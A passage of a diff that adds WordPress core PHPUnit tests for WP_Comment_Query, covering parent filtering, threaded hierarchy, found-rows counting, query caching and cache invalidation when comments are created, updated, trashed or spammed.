+		$c2 = self::factory()->comment->create_post_comments( $p2, 1 );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'fields' => 'ids',
+			'post_status' => array( 'any' ),
+		) );
+		$this->assertEqualSets( array_merge( $c1, $c2 ), $found );
+	}
+
+	/**
+	 * @ticket 24826
+	 */
+	public function test_comment_query_object() {
+		$comment_id = self::factory()->comment->create();
+
+		$query1 = new WP_Comment_Query();
+		$this->assertNull( $query1->query_vars );
+		$this->assertEmpty( $query1->comments );
+		$comments = $query1->query( array( 'status' => 'all' ) );
+		$this->assertInternalType( 'array', $query1->query_vars );
+		$this->assertNotEmpty( $query1->comments );
+		$this->assertInternalType( 'array', $query1->comments );
+
+		$query2 = new WP_Comment_Query( array( 'status' => 'all' ) );
+		$this->assertNotEmpty( $query2->query_vars );
+		$this->assertNotEmpty( $query2->comments );
+		$this->assertEquals( $query2->comments, $query1->get_comments() );
+	}
+
+	/**
+	 * @ticket 22400
+	 */
+	public function test_comment_cache_key_should_ignore_custom_params() {
+		global $wpdb;
+
+		$p = self::factory()->post->create();
+		$c = self::factory()->comment->create( array( 'comment_post_ID' => $p ) );
+
+		$q1 = new WP_Comment_Query();
+		$q1->query( array(
+			'post_id' => $p,
+			'fields' => 'ids',
+		) );
+
+		$num_queries = $wpdb->num_queries;
+
+		$q2 = new WP_Comment_Query();
+		$q2->query( array(
+			'post_id' => $p,
+			'fields' => 'ids',
+			'foo' => 'bar',
+		) );
+
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 35677
+	 */
+	public function test_cache_should_be_sensitive_to_parent__in() {
+		global $wpdb;
+
+		$q1 = new WP_Comment_Query( array(
+			'parent__in' => array( 1, 2, 3 ),
+		) );
+
+		$num_queries = $wpdb->num_queries;
+
+		$q2 = new WP_Comment_Query( array(
+			'parent__in' => array( 4, 5, 6 ),
+		) );
+
+		$this->assertNotEquals( $num_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 35677
+	 */
+	public function test_cache_should_be_sensitive_to_parent__not_in() {
+		global $wpdb;
+
+		$q1 = new WP_Comment_Query( array(
+			'parent__not_in' => array( 1, 2, 3 ),
+		) );
+
+		$num_queries = $wpdb->num_queries;
+
+		$q2 = new WP_Comment_Query( array(
+			'parent__not_in' => array( 4, 5, 6 ),
+		) );
+
+		$this->assertNotEquals( $num_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 32762
+	 */
+	public function test_it_should_be_possible_to_modify_meta_query_using_pre_get_comments_action() {
+		$comments = self::factory()->comment->create_many( 2, array(
+			'comment_post_ID' => self::$post_id,
+		) );
+
+		add_comment_meta( $comments[1], 'foo', 'bar' );
+
+		add_action( 'pre_get_comments', array( $this, 'modify_meta_query' ) );
+
+		$q = new WP_Comment_Query( array(
+			'comment_post_ID' => self::$post_id,
+			'fields' => 'ids',
+		) );
+
+		remove_action( 'pre_get_comments', array( $this, 'modify_meta_query' ) );
+
+		$this->assertEqualSets( array( $comments[1] ), $q->comments );
+	}
+
+	public function modify_meta_query( $q ) {
+		$q->meta_query = new WP_Meta_Query( array(
+			array(
+				'key' => 'foo',
+				'value' => 'bar',
+			),
+		) );
+	}
+
+	/**
+	 * @ticket 32762
+	 */
+	public function test_it_should_be_possible_to_modify_meta_params_using_pre_get_comments_action() {
+		$comments = self::factory()->comment->create_many( 2, array(
+			'comment_post_ID' => self::$post_id,
+		) );
+
+		add_comment_meta( $comments[1], 'foo', 'bar' );
+
+		add_action( 'pre_get_comments', array( $this, 'modify_meta_params' ) );
+
+		$q = new WP_Comment_Query( array(
+			'comment_post_ID' => self::$post_id,
+			'fields' => 'ids',
+		) );
+
+		remove_action( 'pre_get_comments', array( $this, 'modify_meta_params' ) );
+
+		$this->assertEqualSets( array( $comments[1] ), $q->comments );
+	}
+
+	public function modify_meta_params( $q ) {
+		$q->query_vars['meta_key'] = 'foo';
+		$q->query_vars['meta_value'] = 'bar';
+	}
+
+	/**
+	 * @ticket 33882
+	 */
+	public function test_parent__in() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $c1,
+		) );
+
+		$ids = new WP_Comment_Query( array(
+			'comment_post_ID' => self::$post_id,
+			'fields' => 'ids',
+			'parent__in' => array( $c1 )
+		) );
+
+		$this->assertEqualSets( array( $c2 ), $ids->comments );
+	}
+
+	/**
+	 * @ticket 33882
+	 */
+	public function test_parent__in_commas() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1'
+		) );
+		$c3 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $c1,
+		) );
+		$c4 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $c2,
+		) );
+
+		$ids = new WP_Comment_Query( array(
+			'comment_post_ID' => self::$post_id,
+			'fields' => 'ids',
+			'parent__in' => "$c1,$c2"
+		) );
+
+		$this->assertEqualSets( array( $c3, $c4 ), $ids->comments );
+	}
+
+	/**
+	 * @ticket 33882
+	 */
+	public function test_parent__not_in() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+
+		self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $c1,
+		) );
+
+		$ids = new WP_Comment_Query( array(
+			'comment_post_ID' => self::$post_id,
+			'fields' => 'ids',
+			'parent__not_in' => array( $c1 )
+		) );
+
+		$this->assertEqualSets( array( $c1 ), $ids->comments );
+	}
+
+	/**
+	 * @ticket 33882
+	 */
+	public function test_parent__not_in_commas() {
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1'
+		) );
+
+		self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $c1,
+		) );
+		self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $c2,
+		) );
+
+		$ids = new WP_Comment_Query( array(
+			'comment_post_ID' => self::$post_id,
+			'fields' => 'ids',
+			'parent__not_in' => "$c1,$c2"
+		) );
+
+		$this->assertEqualSets( array( $c1, $c2 ), $ids->comments );
+	}
+
+	/**
+	 * @ticket 33883
+	 */
+	public function test_orderby_comment__in() {
+		self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1'
+		) );
+
+		$c2 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1'
+		) );
+		$c3 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1'
+		) );
+
+		self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1'
+		) );
+
+
+		$ids = new WP_Comment_Query( array(
+			'fields' => 'ids',
+			'comment__in' => array( $c2, $c3 ),
+			'orderby' => 'comment__in'
+		) );
+
+		$this->assertEquals( array( $c2, $c3 ), $ids->comments );
+
+	}
+
+	/**
+	 * @ticket 8071
+	 */
+	public function test_no_found_rows_should_default_to_true() {
+		$comments = self::factory()->comment->create_many( 3, array( 'comment_post_ID' => self::$post_id ) );
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'number' => 2,
+		) );
+
+		$this->assertEquals( 0, $q->found_comments );
+		$this->assertEquals( 0, $q->max_num_pages );
+	}
+
+	/**
+	 * @ticket 8071
+	 */
+	public function test_should_respect_no_found_rows_true() {
+		$comments = self::factory()->comment->create_many( 3, array( 'comment_post_ID' => self::$post_id ) );
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'number' => 2,
+			'no_found_rows' => true,
+		) );
+
+		$this->assertEquals( 0, $q->found_comments );
+		$this->assertEquals( 0, $q->max_num_pages );
+	}
+
+	/**
+	 * @ticket 8071
+	 */
+	public function test_should_respect_no_found_rows_false() {
+		$comments = self::factory()->comment->create_many( 3, array( 'comment_post_ID' => self::$post_id ) );
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'number' => 2,
+			'no_found_rows' => false,
+		) );
+
+		$this->assertEquals( 3, $q->found_comments );
+		$this->assertEquals( 2, $q->max_num_pages );
+	}
+
+	/**
+	 * @ticket 37184
+	 */
+	public function test_found_rows_should_be_fetched_from_the_cache() {
+		$comments = self::factory()->comment->create_many( 3, array( 'comment_post_ID' => self::$post_id ) );
+
+		// Prime cache.
+		new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'number' => 2,
+			'no_found_rows' => false,
+		) );
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'number' => 2,
+			'no_found_rows' => false,
+		) );
+
+		$this->assertEquals( 3, $q->found_comments );
+		$this->assertEquals( 2, $q->max_num_pages );
+	}
+
+	/**
+	 * @ticket 8071
+	 */
+	public function test_hierarchical_should_skip_child_comments_in_offset() {
+		$top_level_0 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		$child_of_0 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $top_level_0,
+		) );
+
+		$top_level_comments = self::factory()->comment->create_many( 3, array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'hierarchical' => 'flat',
+			'number' => 2,
+			'offset' => 1,
+			'orderby' => 'comment_ID',
+			'order' => 'ASC',
+			'fields' => 'ids',
+		) );
+
+		$this->assertEquals( array( $top_level_comments[0], $top_level_comments[1] ), $q->comments );
+	}
+
+	/**
+	 * @ticket 8071
+	 */
+	public function test_hierarchical_should_not_include_child_comments_in_number() {
+		$top_level_0 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		$child_of_0 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $top_level_0,
+		) );
+
+		$top_level_comments = self::factory()->comment->create_many( 3, array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'hierarchical' => 'flat',
+			'number' => 2,
+			'orderby' => 'comment_ID',
+			'order' => 'ASC',
+		) );
+
+		$this->assertEqualSets( array( $top_level_0, $child_of_0, $top_level_comments[0] ), wp_list_pluck( $q->comments, 'comment_ID' ) );
+	}
+
+	/**
+	 * @ticket 8071
+	 */
+	public function test_hierarchical_threaded() {
+		$c1 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		$c2 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $c1,
+		) );
+
+		$c3 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $c2,
+		) );
+
+		$c4 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $c1,
+		) );
+
+		$c5 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		$c6 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $c5,
+		) );
+
+		$args = array(
+			'hierarchical' => 'threaded',
+			'orderby' => 'comment_ID',
+			'order' => 'ASC',
+		);
+
+		$query_args = array_merge( $args, array(
+			'post_id' => self::$post_id,
+		) );
+
+		$q = new WP_Comment_Query( $query_args );
+
+		// Top-level comments.
+		$this->assertEqualSets( array( $c1, $c5 ), array_values( wp_list_pluck( $q->comments, 'comment_ID' ) ) );
+
+		// Direct descendants of $c1.
+		$this->assertEqualSets( array( $c2, $c4 ), array_values( wp_list_pluck( $q->comments[ $c1 ]->get_children( $args ), 'comment_ID' ) ) );
+
+		// Direct descendants of $c2.
+		$this->assertEqualSets( array( $c3 ), array_values( wp_list_pluck( $q->comments[ $c1 ]->get_child( $c2 )->get_children( $args ), 'comment_ID' ) ) );
+
+		// Direct descendants of $c5.
+		$this->assertEqualSets( array( $c6 ), array_values( wp_list_pluck( $q->comments[ $c5 ]->get_children( $args ), 'comment_ID' ) ) );
+	}
+
+	/**
+	 * @ticket 8071
+	 */
+	public function test_hierarchical_threaded_approved() {
+		$c1 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		$c2 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $c1,
+		) );
+
+		$c3 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '0',
+			'comment_parent' => $c2,
+		) );
+
+		$c4 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $c1,
+		) );
+
+		$c5 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $c5,
+		) );
+
+		$args = array(
+			'hierarchical' => 'threaded',
+			'status' => 'approve',
+			'orderby' => 'comment_ID',
+			'order' => 'ASC',
+		);
+
+		$query_args = array_merge( $args, array(
+			'post_id' => self::$post_id,
+		) );
+
+		$q = new WP_Comment_Query( $query_args );
+
+		// Top-level comments.
+		$this->assertEqualSets( array( $c1, $c5 ), array_values( wp_list_pluck( $q->comments, 'comment_ID' ) ) );
+
+		// Direct descendants of $c1.
+		$this->assertEqualSets( array( $c2, $c4 ), array_values( wp_list_pluck( $q->comments[ $c1 ]->get_children( $args ), 'comment_ID' ) ) );
+
+		// Direct descendants of $c2.
+		$this->assertEqualSets( array(), array_values( wp_list_pluck( $q->comments[ $c1 ]->get_child( $c2 )->get_children( $args ), 'comment_ID' ) ) );
+	}
+
+	/**
+	 * @ticket 35192
+	 */
+	public function test_comment_clauses_prepend_callback_should_be_respected_when_filling_descendants() {
+		$top_level_0 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		$child1_of_0 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $top_level_0,
+		) );
+
+		$child2_of_0 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $top_level_0,
+		) );
+
+		$top_level_comments = self::factory()->comment->create_many( 3, array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		$this->to_exclude = array( $child2_of_0, $top_level_comments[1] );
+
+		add_filter( 'comments_clauses', array( $this, 'prepend_exclusions' ) );
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'hierarchical' => 'flat',
+		) );
+		remove_filter( 'comments_clauses', array( $this, 'prepend_exclusions' ) );
+
+		unset( $this->to_exclude );
+
+		$this->assertEqualSets( array( $top_level_0, $child1_of_0, $top_level_comments[0], $top_level_comments[2] ), wp_list_pluck( $q->comments, 'comment_ID' ) );
+	}
+
+	public function prepend_exclusions( $clauses ) {
+		global $wpdb;
+		$clauses['where'] = $wpdb->prepare( 'comment_ID != %d AND comment_ID != %d AND ', $this->to_exclude[0], $this->to_exclude[1] ) . $clauses['where'];
+		return $clauses;
+	}
+
+	/**
+	 * @ticket 35192
+	 */
+	public function test_comment_clauses_append_callback_should_be_respected_when_filling_descendants() {
+		$top_level_0 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		$child1_of_0 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $top_level_0,
+		) );
+
+		$child2_of_0 = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+			'comment_parent' => $top_level_0,
+		) );
+
+		$top_level_comments = self::factory()->comment->create_many( 3, array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		$this->to_exclude = array( $child2_of_0, $top_level_comments[1] );
+
+		add_filter( 'comments_clauses', array( $this, 'append_exclusions' ) );
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'hierarchical' => 'flat',
+		) );
+		remove_filter( 'comments_clauses', array( $this, 'append_exclusions' ) );
+
+		unset( $this->to_exclude );
+
+		$this->assertEqualSets( array( $top_level_0, $child1_of_0, $top_level_comments[0], $top_level_comments[2] ), wp_list_pluck( $q->comments, 'comment_ID' ) );
+	}
+
+	public function append_exclusions( $clauses ) {
+		global $wpdb;
+		$clauses['where'] .= $wpdb->prepare( ' AND comment_ID != %d AND comment_ID != %d', $this->to_exclude[0], $this->to_exclude[1] );
+		return $clauses;
+	}
+
+	/**
+	 * @ticket 36487
+	 */
+	public function test_cache_should_be_hit_when_querying_descendants() {
+		global $wpdb;
+
+		$p = self::factory()->post->create();
+		$comment_1 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_approved' => '1',
+		) );
+		$comment_2 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_approved' => '1',
+			'comment_parent' => $comment_1,
+		) );
+		$comment_3 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_approved' => '1',
+			'comment_parent' => $comment_1,
+		) );
+		$comment_4 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_approved' => '1',
+			'comment_parent' => $comment_2,
+		) );
+
+		$q1 = new WP_Comment_Query( array(
+			'post_id' => $p,
+			'hierarchical' => true,
+		) );
+		$q1_ids = wp_list_pluck( $q1->comments, 'comment_ID' );
+
+		$num_queries = $wpdb->num_queries;
+		$q2 = new WP_Comment_Query( array(
+			'post_id' => $p,
+			'hierarchical' => true,
+		) );
+		$q2_ids = wp_list_pluck( $q2->comments, 'comment_ID' );
+
+		$this->assertEqualSets( $q1_ids, $q2_ids );
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 37696
+	 */
+	public function test_hierarchy_should_be_filled_when_cache_is_incomplete() {
+		global $wpdb;
+
+		$p = self::factory()->post->create();
+		$comment_1 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_approved' => '1',
+		) );
+		$comment_2 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_approved' => '1',
+			'comment_parent' => $comment_1,
+		) );
+		$comment_3 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_approved' => '1',
+			'comment_parent' => $comment_1,
+		) );
+		$comment_4 = self::factory()->comment->create( array(
+			'comment_post_ID' => $p,
+			'comment_approved' => '1',
+			'comment_parent' => $comment_2,
+		) );
+
+		// Prime cache.
+		$q1 = new WP_Comment_Query( array(
+			'post_id' => $p,
+			'hierarchical' => true,
+		) );
+		$q1_ids = wp_list_pluck( $q1->comments, 'comment_ID' );
+		$this->assertEqualSets( array( $comment_1, $comment_2, $comment_3, $comment_4 ), $q1_ids );
+
+		// Delete one of the parent caches.
+		$last_changed = wp_cache_get( 'last_changed', 'comment' );
+		$key = md5( serialize( wp_array_slice_assoc( $q1->query_vars, array_keys( $q1->query_var_defaults ) ) ) );
+		$cache_key = "get_comment_child_ids:$comment_2:$key:$last_changed";
+		wp_cache_delete( $cache_key, 'comment' );
+
+		$q2 = new WP_Comment_Query( array(
+			'post_id' => $p,
+			'hierarchical' => true,
+		) );
+		$q2_ids = wp_list_pluck( $q2->comments, 'comment_ID' );
+		$this->assertEqualSets( $q1_ids, $q2_ids );
+	}
+
+	/**
+	 * @ticket 37966
+	 * @ticket 37696
+	 */
+	public function test_fill_hierarchy_should_disregard_offset_and_number() {
+		$c0 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c1 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c2 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_parent' => $c1 ) );
+		$c3 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1' ) );
+		$c4 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_parent' => $c3 ) );
+		$c5 = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id, 'comment_approved' => '1', 'comment_parent' => $c3 ) );
+
+		$q = new WP_Comment_Query();
+		$found = $q->query( array(
+			'orderby' => 'comment_date_gmt',
+			'order' => 'ASC',
+			'status' => 'approve',
+			'post_id' => self::$post_id,
+			'no_found_rows' => false,
+			'hierarchical' => 'threaded',
+			'number' => 2,
+			'offset' => 1,
+		) );
+
+
+		$found_1 = $found[ $c1 ];
+		$children_1 = $found_1->get_children();
+		$this->assertEqualSets( array( $c2 ), array_keys( $children_1 ) );
+
+		$found_3 = $found[ $c3 ];
+		$children_3 = $found_3->get_children();
+		$this->assertEqualSets( array( $c4, $c5 ), array_keys( $children_3 ) );
+	}
+
+	/**
+	 * @ticket 27571
+	 */
+	public function test_update_comment_post_cache_should_be_disabled_by_default() {
+		global $wpdb;
+
+		$p = self::factory()->post->create();
+		$c = self::factory()->comment->create( array( 'comment_post_ID' => $p ) );
+
+		$q = new WP_Comment_Query( array(
+			'post_ID' => $p,
+		) );
+
+		$num_queries = $wpdb->num_queries;
+		$this->assertTrue( isset( $q->comments[0]->post_name ) );
+		$this->assertSame( $num_queries + 1, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 27571
+	 */
+	public function test_should_respect_update_comment_post_cache_true() {
+		global $wpdb;
+
+		$p = self::factory()->post->create();
+		$c = self::factory()->comment->create( array( 'comment_post_ID' => $p ) );
+
+		$q = new WP_Comment_Query( array(
+			'post_ID' => $p,
+			'update_comment_post_cache' => true,
+		) );
+
+		$num_queries = $wpdb->num_queries;
+		$this->assertTrue( isset( $q->comments[0]->post_name ) );
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 34138
+	 */
+	public function test_comment_objects_should_be_filled_from_cache() {
+		global $wpdb;
+
+		$comments = self::factory()->comment->create_many( 3, array( 'comment_post_ID' => self::$post_id ) );
+		clean_comment_cache( $comments );
+
+		$num_queries = $wpdb->num_queries;
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'no_found_rows' => true,
+			'update_comment_post_cache' => false,
+			'update_comment_meta_cache' => false,
+		) );
+
+		// 2 queries should have been fired: one for IDs, one to prime comment caches.
+		$num_queries += 2;
+
+		$found = wp_list_pluck( $q->comments, 'comment_ID' );
+		$this->assertEqualSets( $comments, $found );
+
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 34138
+	 */
+	public function test_comment_objects_should_be_fetched_from_database_when_suspend_cache_addition() {
+		$suspend = wp_suspend_cache_addition();
+		wp_suspend_cache_addition( true );
+
+		$c = self::factory()->comment->create( array( 'comment_post_ID' => self::$post_id ) );
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+		) );
+
+		wp_suspend_cache_addition( $suspend );
+
+		$found = wp_list_pluck( $q->comments, 'comment_ID' );
+		$this->assertEqualSets( array( $c ), $found );
+	}
+
+	public function test_comment_query_should_be_cached() {
+		global $wpdb;
+
+		$c = wp_insert_comment( array(
+			'comment_author' => 'Foo',
+			'comment_author_email' => 'foo@example.com',
+			'comment_post_ID' => self::$post_id,
+		) );
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'fields' => 'ids',
+		) );
+
+		$num_queries = $wpdb->num_queries;
+
+		$q2 = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'fields' => 'ids',
+		) );
+
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+	}
+
+	public function test_created_comment_should_invalidate_query_cache() {
+		global $wpdb;
+
+		$c = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'fields' => 'ids',
+		) );
+
+		$num_queries = $wpdb->num_queries;
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'fields' => 'ids',
+		) );
+
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+		$this->assertEqualSets( array( $c ), $q->comments );
+	}
+
+	public function test_updated_comment_should_invalidate_query_cache() {
+		global $wpdb;
+
+		$c = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'fields' => 'ids',
+		) );
+
+		wp_update_comment( array(
+			'comment_ID' => $c,
+			'comment_author' => 'Foo',
+			'comment_author_email' => 'foo@example.com',
+			'comment_post_ID' => self::$post_id,
+		) );
+
+		$num_queries = $wpdb->num_queries;
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'fields' => 'ids',
+		) );
+
+		$num_queries++;
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+		$this->assertEqualSets( array( $c ), $q->comments );
+	}
+
+	public function test_deleted_comment_should_invalidate_query_cache() {
+		global $wpdb;
+
+		$c = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'fields' => 'ids',
+		) );
+
+		wp_delete_comment( $c );
+
+		$num_queries = $wpdb->num_queries;
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'fields' => 'ids',
+		) );
+
+		$num_queries++;
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+		$this->assertEqualSets( array(), $q->comments );
+	}
+
+	public function test_trashed_comment_should_invalidate_query_cache() {
+		global $wpdb;
+
+		$c = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'fields' => 'ids',
+		) );
+
+		wp_trash_comment( $c );
+
+		$num_queries = $wpdb->num_queries;
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'fields' => 'ids',
+		) );
+
+		$num_queries++;
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+		$this->assertEqualSets( array(), $q->comments );
+	}
+
+	public function test_untrashed_comment_should_invalidate_query_cache() {
+		global $wpdb;
+
+		$c = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		wp_trash_comment( $c );
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'fields' => 'ids',
+		) );
+
+		wp_untrash_comment( $c );
+
+		$num_queries = $wpdb->num_queries;
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'fields' => 'ids',
+		) );
+
+		$num_queries++;
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+		$this->assertEqualSets( array( $c ), $q->comments );
+	}
+
+	public function test_spammed_comment_should_invalidate_query_cache() {
+		global $wpdb;
+
+		$c = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'fields' => 'ids',
+		) );
+
+		wp_spam_comment( $c );
+
+		$num_queries = $wpdb->num_queries;
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'fields' => 'ids',
+		) );
+
+		$num_queries++;
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+		$this->assertEqualSets( array(), $q->comments );
+	}
+
+	public function test_unspammed_comment_should_invalidate_query_cache() {
+		global $wpdb;
+
+		$c = self::factory()->comment->create( array(
+			'comment_post_ID' => self::$post_id,
+			'comment_approved' => '1',
+		) );
+
+		wp_spam_comment( $c );
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'fields' => 'ids',
+		) );
+
+		wp_unspam_comment( $c );
+
+		$num_queries = $wpdb->num_queries;
+
+		$q = new WP_Comment_Query( array(
+			'post_id' => self::$post_id,
+			'fields' => 'ids',
+		) );
+
+		$num_queries++;
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+		$this->assertEqualSets( array( $c ), $q->comments );
+	}
+
+	/**
+	 * @ticket 41348
+	 */
+	public function test_count_query_should_miss_noncount_cache() {
+		global $wpdb;
+
+		$q = new WP_Comment_Query();
+
+		$query_1 = $q->query( array(
+			'fields' => 'ids',
+			'number' => 3,
+			'order' => 'ASC',
+		) );
+
+		$number_of_queries = $wpdb->num_queries;
+
+		$query_2 = $q->query( array(
+			'fields' => 'ids',
+			'number' => 3,
+			'order' => 'ASC',
+			'count' => true,
+		) );
